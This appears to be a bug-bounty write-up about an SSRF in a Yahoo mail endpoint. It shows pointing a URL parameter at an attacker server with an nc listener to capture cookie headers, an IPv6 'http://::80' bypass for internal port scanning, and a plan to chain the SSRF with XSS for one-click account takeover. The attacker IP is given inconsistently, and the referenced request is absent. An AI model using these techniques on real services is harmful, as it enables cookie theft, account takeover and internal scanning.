Hi, this is my third post about my Bug Hunting Journey. This finding is an interesting one, as it demonstrates how to chain different type of bugs in order to completely take over victim’s account. This finding allows me to take over your Yahoo account with just an click of a link. Sounds scary? Read on.
Take some time to read the request, and try to find something that is unusual in the request.
Not sure what you think it is unusual, but the parameter url look quite fun to me. Because it seems I can control the destination of the url, by changing http%3A%2F%2Fprod.mail.bf1.yahoo.com%2F to http%3Amysite.com, then I could make a Server Side Request Forgery.
So I did the test, make it points to my own server, I set up nc -lnvp 80 to listen for the traffic. The traffic went through and my Yahoo Cookies Header is included in the GET request from the Yahoo Server.
Let’s do a quick recap, first, set up a nc -lnvp 80 in my server, lets say my server ip address is 184.108.40.206
Then, make a get request to my server, by changing http%3A%2F%2Fprod.mail.bf1.yahoo.com%2F to http%3A220.127.116.11
Finally, a request from Yahoo Owned server has made a request to my 18.104.22.168, and included all of my yahoo header in the request.
So I can further confirm it is vulnerable to internal scanning as well, by changing the url to http://127.0.0.1, it failed, so i used another trick, http://::80, this is ipv6, and bypassed the 127.0.0.1 check, and then I was able to perform internal port scanning and other behavior as well.
Remember I said in the title that I could own your yahoo account by only one click? It is not a click bait, it is true, because when this attack combines with XSS, that recently discovered by klikki, then he can do more than just viewing the email of victim, he can actually takeover their account by forcing them to make the SSRF request to attacker owned server and get a copy of their cookies.